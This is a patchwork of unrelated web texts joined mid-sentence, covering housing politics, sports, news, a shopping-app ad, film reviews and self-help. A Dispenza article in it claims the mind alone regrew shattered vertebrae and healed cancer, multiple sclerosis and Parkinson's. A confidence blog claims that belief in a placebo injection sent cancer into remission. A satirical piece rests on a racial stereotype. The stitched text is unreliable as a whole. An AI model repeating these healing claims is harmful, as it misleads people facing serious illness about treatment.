Crafting our inequality narrative from this metaphor, we would use phrases like this: Inequality holds people back from contributing to our nation. It sets in place obstacles not only to success, but survival. Trapping some Americans in poverty, policies that promote inequality exclude certain groups from making a living, no matter how much they work. The rules we’ve crafted block access to resources and opportunities, and prevent huge numbers of us from participating meaningfully in our economy.
Let’s have our language lay the blame where it belongs – on the obstructions erected by decades of greed and concentrated wealth and power, not on the people who find themselves trapped on the wrong side of them. This is America. Don’t fence me in.
Anat Shenker-Osorio, founder and principal of ASO Communications, is a communications consultant.Max Fawcett: The BC Liberals have picked their side—against affordability
Why the province's latest budget does nothing to address the real challenge posed by Vancouver's soaring housing market
By Max Fawcett / Photo: Thomas Quine
In recent weeks, as new housing data confirmed that Vancouver’s already hot housing market has been set on a roiling boil, there have been some useful contributions to the debate around affordability in this city. But the one offered up by BC Liberal MLA Laurie Throness in the legislature on Monday was not one of them. In the course of debating a motion on affordable housing, he argued that people who can’t afford to live in Vancouver should simply choose to relocate elsewhere. More appallingly, he implied that anyone who did have the temerity to complain about the ever-expanding gap between incomes and housing costs in the city is just whining. “I wanted to live in Vancouver, so I explored that option. I didn’t even explore the option of buying a detached home, but I looked for condos and soon found I wasn’t able to afford to live there,” he said. “There’s nothing wrong with that. I didn’t go to the papers. I didn’t complain to government. I didn’t complain to the opposition. I didn’t go to the Human Rights Tribunal. I bought in Abbotsford.”
Anyone who finds themselves priced out of the market, he said, should consider doing the same, and he even argued, bizarrely, that companies and jobs would follow them to their new destinations. That’s probably news to the high-tech companies that have set up shop in Vancouver over the last few years, or the mining companies that have their head offices stationed in the downtown core. It would also be news to just about any economist on earth, who would surely wonder what these people would be expected to do while they waited for their companies and their jobs to follow them—and only them—to their new community.
Boneheaded comments, of course, are nothing new to politics—and for some politicians they’re practically a stock-in-trade. But Throness’s comments are more insidious than that, because they appear to be representative of an attitude that the BC Liberal government has toward the issue of housing and affordability in Vancouver. In short, their policy appears to be as follows when it comes to the effect rising home prices are having on affordability: like it or lump it. “We can’t change what I would call the major structural elements of the Vancouver housing market,” Throness said Monday. “In fact, I would say that many homeowners are very happy about the rising value of their homes.”
But as the SCMP’s Ian Young said in his interview with Vancouver Magazine last month, that choice to sacrifice housing affordability in the name of protecting the capital gains enjoyed by homeowners sends a message to younger Vancouverites. “Is it fair that people be prioritized because they are home owners and they feel like they need to protect their capital gains over people who feel that they are entitled to an affordable city, and have done absolutely nothing to deserve being priced out of it in the way that they have? I think that’s a fundamental social justice issue—the biggest social justice issue in this city.”
And in case it wasn’t clear whether the BC Liberals had decided to choose the protection of capital gains over the promotion of affordability and accessibility, well, the recent throne speech should have removed any remaining doubt. “Your government will work carefully to protect the savings and equity that existing homeowners have painstakingly placed in their homes,” the premier said. That certainly sounds like a priority to me.
Sure, it’s a politically defensible one, given that homeowners tend to be more reliable visitors to the ballot box than young renters. But it could also be a catastrophic one in the long run for a city that depends on its ability to attract and retain talented people. It’s not that they deserve to be able to afford a house in Vancouver—or, as Mr. Throness said, that they have “a God-given right to live in a particular place.” It’s that the cost of them not being able to live in that particular place is incredibly high—for all of us.
Yes, the budget included $355 million over five years for affordable housing, an investment that’s expected to create up to 2,000 new spaces. That’s great. But by the sound of it, most of that money isn’t going to young people who can’t afford to live in Vancouver. Instead, as the premier said, it’s going to seniors, people struggling with addiction, and mental illness and other marginalized groups. (Well, seniors are technically among the least marginalized groups in society, but that’s another issue altogether. And, of course, they vote.)
But even if some of those 2,000 additional spaces weren’t being allocated on the basis of the political utility of their prospective tenants, they still wouldn’t do much to make Vancouver a more affordable city for the rest of its residents. And as Hootsuite CEO Ryan Holmes argued in an op-ed recently, the affordability crisis—and yes, it’s a crisis—is a big problem for all of us. “Unaffordability is emptying Vancouver of one of its most valuable assets—young people who grew up in the city and who are invested in it.” It’s awfully hard to stay invested in your city when you’ve been told by a representative of the government that you need to put on your big boy and big girl pants and move out to Agassiz. Sure, it’s probably a nice place to live. But it’s not where the vast majority of young Vancouverites—and aspiring Vancouverites—want to live. And if they can’t afford to live here, near to where they work and play, they’re going to go somewhere else. And I can promise you this: it won’t be Abbotsford.
Max Fawcett is the editor-in-chief of Vancouver MagazineDonald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE will hire foreign workers to staff the Mar-a-Lago Club in Palm Beach, Fla., this winter — as he did last year.
ADVERTISEMENT
According to the Palm Beach Post, Trump won approval from the U.S. Labor Department in October to hire 64 foreign workers through the H-2B visa program, which allows eligible U.S. employers to hire foreign nationals to fill temporary jobs.
Trump hired 69 workers through the same program last year.
According to the Palm Beach Post, Trump will pay the staff wages comparable to what he offered last year. Though some will make less than they made last year, most will get a 1 percent raise.
Trump, who built his campaign on hardline immigration policies, faced criticism during the campaign when it was revealed that he hired foreign workers for seasonal jobs at the club.
"It's very, very hard to get people," Trump said when questioned about it at a March presidential debate.
"Other hotels do the exact same thing."
Trump will hire 19 cooks at $12.74 an hour, down from $13.01 an hour last year.
Mar-a-Lago will hire 30 waiters and waitresses at $11.13 an hour, a 14 cent increase from last year, and 15 housekeepers at $10.17 an hour, a 10 cent increase from last year.Recycling is a part of a larger theme of stuff white people like: saving the earth without having to do that much.
Recycling is fantastic! You can still buy all the stuff you like (bottled water, beer, wine, organic iced tea, and cans of all varieties) and then when you’re done you just put it in a DIFFERENT bin than where you would throw your other garbage. And boom! Environment saved! Everyone feels great, it’s so easy!
This is important because all white feel guilty about producing waste. It doesn’t stop them from doing it, but they feel guilty about it. Deep down, they believe they should be like the Native Americans and use every part of the product or beast they have consumed. Though for many white people, this simply means putting plastic bags into a special drawer where they will accumulate until they are eventually used to carry some gym clothes or bathing suit. Ultimately this drawer will get full and only be emptied when the person moves to a new house. Advanced white recyclers will uses these grocery bags as garbage bags.
If you are in a situation where a white person produces an empty bottle, watch their actions. They will first say “where’s the recycling?” If you say “we don’t recycle,” prepare for some awkwardness. They will make a move to throw the bottle away, they will hesitate, and then ultimately throw the bottle away. But after they return look in their eyes. All they can see is the bottle lasting forever in a landfill, trapping small animals. It will eat at them for days, at this point you should say “I’m just kidding, the recycling is under the sink. Can you fish out that bottle?” And they will do it 100% of the time!
The best advice is that if you plan to deal with white people on regular basis either start recycling or purchase a large blue bin so that they can believe they are recycling.
AdvertisementsOfficers train on an obstacle course at Camp Edwards, Mass., around 1942. Hoge’s invention of the American version of the obstacle course solved the problem of limited space and prompted countless groans and curses from generations of warfighters. Library of Congress photo
When World War II started in Europe in September 1939, the United States was the 17th largest military power. Its army, containing just 190,000 troops, was effectively a constabulary force. By February 1941, all that had changed. Thanks to the recently passed conscription law, the number of recruits had ballooned almost ten-fold, with millions more to come. The American military had experienced such crash-program increases before, in the Civil War and World War I. And as before, the draftees entering service were raw material. Before they could be shipped out to the new and expanding training centers being prepared for them, they had to be shaped up. While all base and camp commanders had that problem, it was particularly acute for Lt. Col. William M. Hoge.
Hoge, a West Point graduate (1916), earned the Distinguished Service Cross and Silver Star during the Meuse-Argonne Offensive in World War I. After the war, Hoge remained in the Army, obtaining advanced degrees in engineering and working on Civil Works projects in the United States and the Philippines. In December 1940, Hoge was assigned to command the Engineer Replacement Training Center at Fort Belvoir, Va., about twenty-five miles south of Washington, D.C.
Part of a series of War Department land acquisitions on the Belvoir Peninsula in 1912, the Belvoir estate was re-named Camp A. A. Humphries, after the Civil War hero and former Chief of Engineers, and was initially used for engineering field exercises and as a rifle range. In 1935 its name was changed to Fort Belvoir. By 1941 it had grown to 9,000 acres and had 12,000 men, organized into 12 battalions, going through a 16-week training course.
“They’d murder me if they ever found out I was responsible.”
Combat engineering training requires room – room for heavy equipment operators to run their bulldozers, cranes, back hoes and other construction vehicles; room to build things and blow them up; and room to transport large things like bridging equipment. Performing these and other tasks requires a high level of physical fitness, and that was the rub. Hoge’s most vexing problem was how to provide proper military outdoor physical exercise training. Because he was located on a peninsula, he couldn’t expand. Space was at a premium.
It was while trying to figure out a solution one day to the physical fitness problem that he recalled one of his subordinates, Paul W. Thompson, had spent a year in Germany as an attaché. Calling Thompson into his office, Hoge asked him, “What in the hell do the Germans do to get exercise for their men? They have much less area than we have.” Thompson told him about specially designed fields filled with a variety of trenches and constructions that the men had to overcome through climbing, crawling, swinging, hopping, and jumping.Dr. Joe Dispenza has an impressive background — studying biochemistry at Rutgers University with a focus on neuroscience, graduating magna c...
http://humansarefree.com/2017/09/miraculous-healing-using-power-of-mind.html
“Meditating is a means for you to move beyond your analytical mind so that you can access your subconscious mind. That’s crucial, since the subconscious is where all your bad habits and behaviors that you want to change reside.” ~ Dr. Joe Dispenza
The Incredible Power of the Mind to Heal the Body and Soul
You Are the Placebo Stories of profound — sometimes miraculous — healing are peppered throughout Dispenza’s latest book,
Dr. Joe Dispenza has an impressive background — studying biochemistry at Rutgers University with a focus on neuroscience, graduating magna cum laude with a Doctor of Chiropractic Degree from Life University in Georgia, and postgraduate education spanning neuroscience, memory formation, cellular biology, and aging and longevity.He’s aand a featured expert in the films, Down the Rabbit Hole and newly released,and the Heal documentary.After an accident involving a sport utility vehicle during a triathlon, Dispenza is also known as the man who miraculously regrew six shattered vertebrae of his spine by using the innate intelligence of his body — without the help of conventional medicine.His physician told him he would never walk again if he didn’t opt for surgery. Dispenza declined. Instead, he used the power of his mind, along with diet and physical therapy, to regain his health. Within ten weeks, Dispenza had completely healed himself and was back to work, a new man.In the 1990s, neuropsychiatrist Eric Kandel discovered that connections in a neural bundle can double with repeat stimulation. The finding earned him a Nobel Prize. During later experiments, he also found that if neural connections aren’t used, they shrink in as little as three weeks.This is the basis for the concept of “neuroplasticity” — where, instead of the brain having certain developmental cycles (mainly in childhood) and a “set” structure, our brain is actually reshaped by the signals passing through our neural network at any given time in our lives.“In the same decade that Kandel and others measured neuroplasticity, other scientists discovered that few of our genes are static. The majority of genes (estimates range from 75 to 85 percent) are turned off and on by signals from our environment, including the environment of thoughts, beliefs, and emotions that we cultivate in our brains.“One class of these genes, the immediate early genes (IEGs), takes only three seconds to reach peak expression. IEGs are often regulatory genes, controlling the expression of hundreds of other genes and thousands of other proteins at remote sites in our bodies.” [ source This is believed to be the reason for seemingly miraculous healings that have taken place throughout the ages, where our thoughts, emotions and beliefs are supportive of ultimate health and harmony.Writes Dawson Church, Ph.D., author of“Joe is one of the few science writers to fully grasp the role of emotion in transformation. Negative emotion may literally be an addiction to high levels of our own stress hormones, like cortisol and adrenaline.“Both these stress hormones and relaxation hormones like DHEA and oxytocin have set points, which explains why we feel uncomfortable in our skin when we think thoughts or countenance beliefs that drive our hormonal balance outside of that comfort zone. This idea is at the very frontier of the scientific understanding of addictions and cravings.” [ source Dr. Dispenza’s research shows that, when we purposely translate a thought into a positive emotion, we can positively influence our health and healing. He explains that it all begins with an intention created in the frontal lobe of your brain, which triggers the release of chemical messengers, otherwise known as neuropeptides.These messengers then send signals throughout the body, that in turn, are like keys turning genetic switches on and off. Take for example “the cuddle hormone” — oxytocin — a neuropeptide that is stimulated by touch, as well as feelings of love and trust.With a little practice, we all can learn to efficiently adjust our set points — lowering our stress hormones, while increasing our healing hormones. Cutting edge researchers have named the sequence Dispenza outlines as self-directed neuroplasticity (SDN).“The idea behind the term is that we direct the formation of new neural pathways and the destruction of old ones through the quality of the experiences we cultivate,” says Church. “I believe that SDN will become one of the most potent concepts in personal transformation and neurobiology for the coming generation.”Case studies involving spontaneous healing of multiple sclerosis, cancer, Parkinson’s disease, Hashimoto’s and more illustrate the incredible power of the mind to heal the body.Take for instance a double-blind study that found participants were cured of crippling depression that had dogged them for years after taking, what they thought, was a strong pharmaceutical.Incredibly, after the study concluded, a woman who believed she was “cured” by the antidepressant was told she was actually in the control group and had never received the drug, but, instead, had been taking a placebo.Another study was conducted on a group of elderly men who were to receive knee replacements. After they went through the surgery, all had typical recoveries and improved mobility.The thing is, not a single knee had been replaced. The surgeon had only made an incision to make it look as though they had undergone the surgery, when, in fact, they had not. The patients range of motion, mobility and freedom from pain matched those who had received actual knee replacements.Even for those skeptical that such profound healing could come from changing our thoughts, Dr. Dawson Church reminds us:“You have nothing to lose by throwing yourself enthusiastically into the process and dumping the thoughts, feelings, and biological set points that have limited your past.“Believe in your ability to realize your highest potential and take inspired action, and you will become the placebo that creates a happy and healthy future for yourself and for our planet.” — Dr. Joe Dispenza,Posted by
Kamal Hylton,
February 4, 2015 Email
Kamal Hylton
On Twitter:
@KamalHylton
With only a few weeks to go before the 2015 USL PRO season is set to kick-off and the three Canadian sides begin their inaugural seasons, RedNation Online brings you some of the key games to circle on your calendars.
March 21st - TFC II @ Charleston Battery
The 2015 USL PRO season kicks off with head coach Jason Bent and his players beginning their maiden voyage with a tough trip to South Carolina to face the Charleston Battery. This is an opponent that TFC fans should be familiar with as a frequent visitor to the Carolina Challenge Cup preseason tournament from 2007-2011. The Reds posted a record of 2W-2L-1D record during that time, but this version of the Reds will be in tough against a side that finished 5th last season. The Battery made it to the playoffs before losing to the Richmond Kickers 2-1 in the Quarterfinals in an eventful game, one that went to extra time and saw three players sent off.
March 28th - FC Montreal vs. TFC II
This is one match everyone will be eager to see, as the “401 Derby” makes its USL PRO debut. Coached by an ever-present in Philippe Eullaffroy that heads a FC Montreal group that he’ll surely be familiar with from having managed the U23'sin the Premier Development League (PDL). What makes this game a big draw is the amount of Canadian talent that is sure to be on display, including those that are currently breaking into the Canadian Men’s national team.
An interesting aspect about this game will be atmosphere, as the Montreal Impact host Orlando City FC in an MLS game. This could help bring out a sizeable home crowd for this all-Canadian affair, including some of the supporters groups and Canadian national team followers.
March 29th - Whitecaps FC 2 @ Seattle Sounders II
The first edition of USL PRO’s “Cascadia Rivalry” shapes up to be exciting, as not only will it be the newly formed WFC2's first USL PRO game but it will set the stage for a three-way rivalry (including Portland Timbers II) that could be just as fierce as the MLS edition. Knowing how much these games help shape MLS, if the USL PRO games bring half as much attention and energy to the league as the MLS edition does then we're all in for something special.
April 18th - FC Montreal @ Harrisburg City Islanders
Montreal’s first road test is against a team that will have a point to prove, as FC Montreal travel to Pennsylvania to take on the Harrisburg City Islanders. This is a club that finished in 8th in the standings before going on a run in the playoffs, beating Orlando City SC 1-0 and Richmond Kickers 3-2 on their way to the final. They made it to the big game, but ultimately lost 2-0 to Sacramento Republic. Affiliated with MLS’s Philadelphia Union, you can expect their squad to include some quality talent.
April 19th - Vancouver Whitecaps FC 2 vs. TFC II
The Reds take on their other Canadian rivals for the first time, traveling out west for a showcase game against Vancouver Whitecaps FC II in their home opener. WFC2 kept their coaching hire within the family, appointing Alan Koch as head coach. A long-time coach with Simon Fraser University soccer and a recent Whitecaps college scout, Koch is sure to have a team full of local Canadian prospects going up against TFC II in what could be called an early “statement game” for both teams. This is another game for Canadian national team supporters to tune in for, pitting what is arguably two of the best MLS academies against each other.
May 23rd - TFC II vs. Rochester Rhinos
TFC II opens its USL PRO home season after nine games on the road against the Rochester Rhinos, a team that finished 5th last season and qualified for the playoffs before losing 2-1 in the Quarterfinals to the newly formed LA Galaxy 2. The Reds will have a challenge on their hands against a side that boasts the defending USL PRO Rookie of the Year and Goalkeeper of the Year in John McCarthy, as well as USL PRO Defender of the Year Tony Walls.
July 4th - TFC II vs. FC Montreal
The second match between TFC II and FC Montreal should be special in more ways than one, not only will one team likely be looking for revenge but it will be the first game the Reds play in the new Ontario Soccer Centre stadium. The atmosphere will be something to watch. Depending on where they are in the standings, or what went on during the previous meeting, nobody would be surprised if this game got a little chippy as history has dictated that when these two teams meet on any level.
There are many other exciting games that these three Canadian teams will play, including meetings against fellow MLS academies in Los Angeles with LA Galaxy 2, Portland with Portland Timbers 2, New York with New York Red Bulls and Real Salt Lake with Real Monarchs SLC as well as games against the defending USL PRO champion Sacramento Republic FC.
Look for more USL PRO content on RedNation Online, including first looks at each squad when the rosters for all three Canadian clubs are finalized.5:23pm: Jackson and the Mariners have agreed to a bonus of $4.2MM, reports MLB Daily Dish’s Chris Cotillo (on Twitter).
That bonus is $624,100 over slot and should put the Mariners $317,100 over their allotted bonus pool. Seattle will have to pay a 75 percent luxury tax that comes out to $237,825, but the team will not have to forfeit any future draft picks because of the bonus.
4:08pm: The Mariners and first-round selection Alex Jackson have agreed to terms, reports Jim Callis of MLB.com (on Twitter). Callis isn’t sure of the exact bonus terms at this time, but he notes that the bonus will pay the high school catcher/outfielder north of $4MM. That’s well north of the $3,575,900 pick value with the No. 6 overall selection, but as Bob Dutton of the Tacoma News Tribune recently explained, the Mariners can spend $4,221,295 without losing a pick in next year’s draft. A bonus north of $4MM will subject them to a 75 percent overage tax on their bonus pool, however, as the max they could have spent without incurring overage penalties was $3,882,900 (also per Dutton).
Jackson’s power potential and advanced hit tool have led most to consider him the best bat in the 2014 draft class. Both Baseball America and MLB.com ranked Jackson as the No. 4 prospect in this year’s draft class, while ESPN’s Keith Law ranked him fifth. Jackson had been committed to Oregon and is advised by Scott Boras.
All three scouting reports on Jackson rave about his hitting prowess, with MLB.com noting that he could hit north of.280 in the Majors and BA adding that he has the potential for plus-plus power. Jackson’s arm is also regarded as a plus tool, and it plays well behind the plate, where Law notes he has pop times in the 1.8-1.9 second range. However, all three note that Jackson’s receiving and blocking skills need work. The consensus is that he’s athletic enough to be a solid defender in right field, and he could be fast-tracked to the Majors by being shifted to the outfield, but he could become a serviceable defender behind the dish with more work and more development time. Obviously, he’d have more value to the Mariners if he could reach the Majors as a catcher, though the team does have a promising young backstop in the form of 2012 No. 3 overall selection Mike Zunino.
The Mariners have already signed the remainder of their picks within the top 10 rounds, so they needn’t worry that going well over-slot on Jackson could have ramifications further down their draft board.
Photo courtesy of USA Today Sports Images.We help over 6 million users around the world do their shopping routines with joy and pleasure.
The Washington Post: "Buy Me a Pie! lets users see their lists and update in real time."
The Next Web: "This is a neat, easy-to-use app that’s beautifully designed. But where Buy Me a Pie really comes in to its own is that a single account can be synced across multiple iOS devices."
TechCrunch: "Buy Me a Pie! is certainly well designed and simple to use, ratching up an average user rating of 4.5/5 in the App Store globally."
Lifehacker: "Perfect for grocery lists, Buy Me a Pie! ensures that you will never miss an item on your shopping list again."
AppScout: "...attractive, fast, and has plenty of features. This should be your first stop when searching for a grocery list app."
Geek.com: "There are simple apps that let you just make a list, but Buy Me a Pie! is tailor-made for the experience and it’s a nice looking app, too."
***** Featured by Apple App Store in Food & Drink and Productivity categories *****
======================================
You definitely need this app if you know the value of:
======================================
* Time: a well-planned list updated in real time saves precious minutes and hours in a store
* Money: when you know what to buy you're safe from spontaneous purchases and waste
* High spirits: we are sure you'll be happier without frustration caused by double purchases or forgotten items to buy
* Environment: paper shopping lists are made of trees. Our lists are made of lines of program code
==========
App features:
==========
* MULTI-PLATFORM. Use it on iPhone, iPad and any other device by going to Buymeapie.com website
* MULTIPLE SHOPPING LISTS organized into the convenient list of lists with the preview of their contents
* SMART GROUPING. Group your products by aisles with the help of colors assigned to the items, and the app will group the items in the list automatically
* SELF-LEARNING DICTIONARY. The entered items are automatically stored in the dictionary for future fast entry. The dictionary language may coincide the system language or not – the application settings allow both ways
* SMART SUGGESTIONS. The app will automatically suggest a word upon entering a few letters so you can quickly add items to a list. The suggestions reflect your own daily habits
* SIRI INTEGRATION. To have a product added to the shopping list, just ask (iOS 11+)
* DRAG AND DROP SUPPORT in the app for iPad. Came across a right product in a recipe blog or while chatting with your colleges? Just drag it to your shopping list (iOS 11+)
* PIN LIST. Any list can be pinned top by a single tap
* CROSSED-OUT SORTING. The crossed-out products are sorted alphabetically. And if the item has just been marked as bought, it is placed at the very top of the crossed-out section to be easily brought back to the list
* APPLE WATCH COMPLICATION SUPPORT. Shopping lists available on the watch face
* AUTOMATIC SYNCHRONIZATION in background: edit your lists, and we will take care of delivering the changes to your family or friends
* NOTIFICATIONS: see every alteration made to your lists in real-time and get push notification about the changes.
* Pull up the list to clear all checked items
* Turn off the auto screen lock option in the app settings
* Share your lists via text messages or emails
* Easily clone your lists
Bring your shopping experience to the new level of convenience and style!
Our Privacy Policy: http://buymeapie.com/privacy
Our Terms of Use: http://buymeapie.com/terms-of-useA letter to the UN shows Houthis were willing to let the government return to Sanaa and pull its militias out of Yemen's cities. (AFP/File)
On Monday the Yemeni government agreed to negotiations with Houthis again, weeks after the rebels in Yemen agreed to a UN-brokered deal in Muscat, Oman aimed at ending the conflict.
In a letter addressed from Houthi spokesman Mohammed Abdulsalam to UN Secretary-General Ban Ki-moon, Houthis agreed to a seven-point resolution brokered in Muscat, Oman, referred to as the "Muscat principles."
The negotiations included a ceasefire, President Abd-Rabbu Mansour Hadi's return to the capital Sanaa, and removal of armed militias in Yemen's cities. It would essentially end the war, in which human rights groups say both parties have been guilty of violating international law.
Negotiations took major steps backward when, days after the letter was publicized, the Saudi-led coalition conducted airstrikes on a second wedding. The two wedding bombings killed at least 145 people total.
saudi bombed the Yemen wedding party knowing full well that the houthis had signed an agreement for a ceasefire http://t.co/ODs4oDAsxz — Scotland in Business (@macklamm) October 9, 2015
#Yemen exiled gov agreed to ceasefire in past but then Saudi botched claiming weren't informed! So, did Saudi agree? https://t.co/ZBhGUlrVwG — Hish |
who helped a family member jump the queue to apply for a job in his force narrowly escaped the sack yesterday.
Grahame Maxwell, 50, was also accused of trying to ‘discredit’ the misconduct investigation for nepotism that was launched against him and his deputy, Adam Briggs.
Assistant Chief Constable Sue Cross was among several senior North Yorkshire officers praised for their ‘integrity’ and ‘courage’ in standing up to the two police chiefs and challenging their actions.
The affair began in February last year when up to 500,000 phone calls were made to a hotline in response to a recruitment drive for 60 to 70 jobs. The system was ‘overwhelmed’ and most applicants were unable to get through.
Mr Maxwell agreed to allow a member of staff to ring a relative of Mr Briggs – referred to as Ms A – who wanted to apply for a job but had not been able to get through to complete the initial stage of the application process.
Challenged by Miss Cross, Mr Maxwell defended the move, said a report published yesterday by the Independent Police Complaints Commission.
Instead of backing down, she told her boss she would report the matter to the police authority if he failed to do so.
The IPCC said Mr Maxwell reported the help given to Ms A to police authority chiefs, but failed to mention he had helped a male member of his extended family in a similar way.
The man, identified only as Mr B, also wanted a constable’s job and had failed to get through on the hotline.
Mr Maxwell rang the family member himself and completed the vetting questionnaire.
Mr B was not entitled to a ‘call back’, said the IPCC.
Eight days after the police authority was informed about Ms A, Mr Maxwell came clean about helping Mr B.
Brave: Assistant Chief Constable Sue Cross questioned Grahame Maxwell's actions
The chief constable went to see the force solicitor and allegedly described himself as an ‘a***hole’.
North Yorkshire Police convened a disciplinary hearing, held in private at a secret location, which heard evidence from the IPCC report.
Mr Maxwell, who earns £133,000 a year, admitted the sackable offence.
He said he had ‘behaved in a manner apt to bring discredit upon, and undermine public confidence in, the police service’. Yesterday he was given a final written warning for gross misconduct.
Nicholas Long, a commissioner at the IPCC, said Mr Maxwell had shown an ‘unacceptable attitude’ which ‘seriously undermined’ his reputation.
He added: ‘The IPCC at various stages has been accused of dis-proportionality.
‘We have been challenged by some senior policing figures and our investigators’ abilities were questioned by the chief constable in an unacceptable attempt to discredit the investigation.’
Mr Briggs, 49, who earned £109,000 a year, was found to have breached the code of conduct and was given ‘management advice’. He was allowed to retire on a full pension after 31 years’ service.
A statement from Mr Maxwell’s law firm Kingsley Napley said: ‘He is sincerely sorry and saddened that a very difficult week resulted in errors of judgement, but continues to lead the North Yorkshire Police and wishes only to focus on doing his best for the force in his position as its chief constable.’
Mr Maxwell, married with one son, became North Yorkshire’s chief constable in 2007, joining from South Yorkshire Police.What do the world's most successful individuals possess that allows them to be so influential? What is it that gives a rock star, politician, or athlete the courage to perform in front of thousands, even millions, of people, or a business the ability to keep churning out product after product that is game-changing, but also high risk for his company? For these people to do what they do, they need a strong in themselves that allows them to persist in the face of failure and to keep trying, no matter their level of. They have an internal drive that tells them they can succeed, that they have the ability to handle whatever comes their way. Is this characteristic unique to them? Or is it something we all can possess?
I wrote my first blog post on the importance of having a strong social support network, and I shared some research on the subject that made it clear that and family are key contributors to and success. With this post, I'm going to cover another tool that also leads to health and success, one that is not external, but rather inside of each of us: confidence. Confidence is "a feeling of arising from one's appreciation of one's own abilities or qualities," and it plays an important role in building healthy, achieving success in your professional life, and staying motivated. Fortunately, it can be developed easily with practice and perspective.
For most of my life, the thought of made my stomach turn and twist. My would build and build in the hours leading up to a class presentation, and you could hear the fear in my voice when I spoke; frankly, I just couldn't handle it. I've seen the same fear in many other students, and in some of my colleagues as well. I had a public speaking professor who once told me that the American people were polled about their greatest fears, and the one thing they feared most, even more than death, was speaking in front of an audience.
But Professor Wells also told me that the only way to be rid of this fear was to face it. I took his words to heart, and over the last two years, I've experienced a major shift in my attitude. I now enjoy the thrill associated with public speaking, whether in a private setting with peers or in front of strangers at a conference or. This confidence extends to my research and writing ability, as well as how I feel during even the most basic social interactions. What was the key to this newfound strength? It may sound silly, but I actually started acting like I believed in myself.
Most people are familiar with the term "placebo," but for those of you who aren't, a placebo is a term used most commonly in medicine that refers to a pill or procedure that gives the illusion of treatment, but actually provides no physiological effect. For instance, in a study of a new drug for, one group of participants will be given the treatment, while another group will be given a (the placebo) instead. Surprisingly, the participants who receive the sugar pill often show signs of improvement, though the sugar pill itself is not providing the relief. The fact that these people are expecting some sort of effect is enough for them to perceive changes that aren't physically there, and this is called the placebo effect. It has even been observed in cancer patients who received an empty injection, but who nonetheless had their cancer go into remission, simply because they believed they were being injected with a new miracle drug. It seems that the expectations associated with a treatment can often be as powerful as the treatment itself.
Another related construct is called the self-fulfilling prophecy. The term was coined by sociologist Robert K. Murton to describe a phenomenon that dates back to Ancient Greece. Basically, a prediction about the outcome of a situation can invoke a new behavior that leads to the prediction coming true. For example, if I believed that I was going to fail an exam, that belief may have led me to alter the strategies I used for preparation and taking the test, and I would probably fail it. While I may have had a good chance to pass, my belief hindered my performance, and I made this belief become reality. Psychological research shows that the self-fulfilling prophecy works for both negative and positive predictions, indicating again that the beliefs you hold have an impact on what happens to you.
The point I'm trying to get at here is that you can start to build your confidence right now by telling yourself that you've got it in you; the more you believe that you are capable, the more you will be. The placebo effect tells us that expectations alone can be strong enough to overcome diseases and afflictions, and the self-fulfilling prophecy illustrates how your predictions about a situation influence the outcome, so why shouldn't you be able to alter your expectations about your own abilities and experience a renewal of confidence? Get into the routine of telling yourself that you can be successful in all aspects of your life, and you may find that you are not only able to handle many more challenges, but that you have been able to all along.
Important, too, is your ability to put your performance in perspective. Not every speech you give, point you raise, or question you ask will be perfect, and for some of us, remembering the failures is far easier than remembering the successes. But if you want to build your confidence, you need to call upon the times when you've triumphed. Try to recall just one of these moments for each moment of failure that plagues you, and you'll find yourself much better off. And remember that even when everything else is out of your control, there is one person who should always be on your side: you. If you can depend on yourself, you'll find that other people can, too.The idea of making a horror film utilizing all the tools of an online internet chatroom on a computer screen seemed almost Dadaist in theory and particularly in the lame Blum House trailers geared towards Tweens who can't get enough of the found footage subgenre. The actual movie Unfriended it turns out is one of the best cinematic rebukes of the toxic fallout of cyberbullying, unfinished business ghost story or not. To quote Roger Ebert's review of Mulholland Drive, the failed experiment posed by Mike Figgis' Timecode which presented four separate screens playing at once "doesn't shatter test tubes" with Unfriended. Here we have a startlingly watchable story about a group of teenagers in an online Skype video chat who find their Facebook profiles terrorized by a hacker, or is it? While the Blum House inclusions of low bass levels signaling scares ahead are as unnecessary as the tacked on final scare, no other film in recent memory manages to turn social media's own tools against itself. It's that rare social media driven horror film which forces us to rethink our connection with the internet and how cyberbullying can come back to haunt you in more ways than one.
Suicide Club (2001)
Cult Japanese auteur Sion Sono burst onto the international film scene with this startling, perplexing and often grotesque thriller offering, Suicide Club, about an epidemic of mass teen suicides sweeping Japan. Initially Sono's film was thought to be an exercise in transgression with its controversial opening sequence of 54 teenage schoolgirls leaping to their deaths before an oncoming train (an image parodied in Eli Roth's Hostel). Upon reflection however the bizarre and often incoherent Suicide Club is now regarded as something of a head-scratching kid cousin to Kiyoshi Kurosawa's Pulse for its depiction of Japan's populous either dying or killing themselves out of a loose connection to the internet. Detectives (including Ryo Ishibashi from Audition infamy) desperately try to form a connection between a hacker's website displaying the suicides as colored circles, strips of skin wrapped into a tape-like ring and a glam rock group who may be the gatekeepers to the bizarre phenomenon. It's a difficult and often ultraviolent film which manages to rival the extremity of Takashi Miike's work and impenetrability of David Lynch whose deviation from form will either enthrall you with its ambiguities or frustrate you for closing your hands on air. As it stands, it's another attempt to make sense of the teen suicide phenomenon intrinsic to Japan's bloodstream with an equally contemptuous regard for social media's role in the still unresolved crisis. Much like the world it takes place in, Suicide Club's doors remain open without closure, leaving you the viewer with much to process and more than a few second thoughts about continuing a life on the internet.
Pulse (2001)
Known as the 'Godfather of J-horror', Kiyoshi Kurosawa's 2001 internet based horror film Pulse about a ghostly online virus which threatens to wipe out all of humanity was the scariest film of that year, period. Viscerally terrifying J-horror of the highest order, the Cure director's most popular as well as possibly his most inexplicable work is a vast spirit thriller about existential loneliness perpetuated by our connection to social media. In one of the film's most frightening scenes, a young man named Ryosuke (Haruhiko Kato) new to the internet tries a dialup connection for the first time and is brought to an eerie series of video screens of chatroom members standing still or swaying back and forth followed by the message "would you like to meet a ghost?". Fearing a hacker, Ryosuke shuts down his computer and goes to sleep only to be reawakened by the computer turning itself back on, this time displaying a video of a man in shadow sitting in a wheelchair with a plastic garbage bag over his head, the words 'help me' written all over the wall behind him. The man slowly wheels his chair towards the camera and begins to pull the bag off his head before a terrified Ryosuke pulls the plug. Much like any unwanted site we seem to have stumbled upon accidentally, Pulse begs the question of whether or not the spirit world is indeed visible online or it it's even all that different from our own. As with the progressive technological innovation behind digital communication, nothing can stop the apocalypse to come as more and more of us wire into internet and soon become ghosts in the machine ourselves.
Startup.com (2001)Partagez +1 Partagez Partages 0
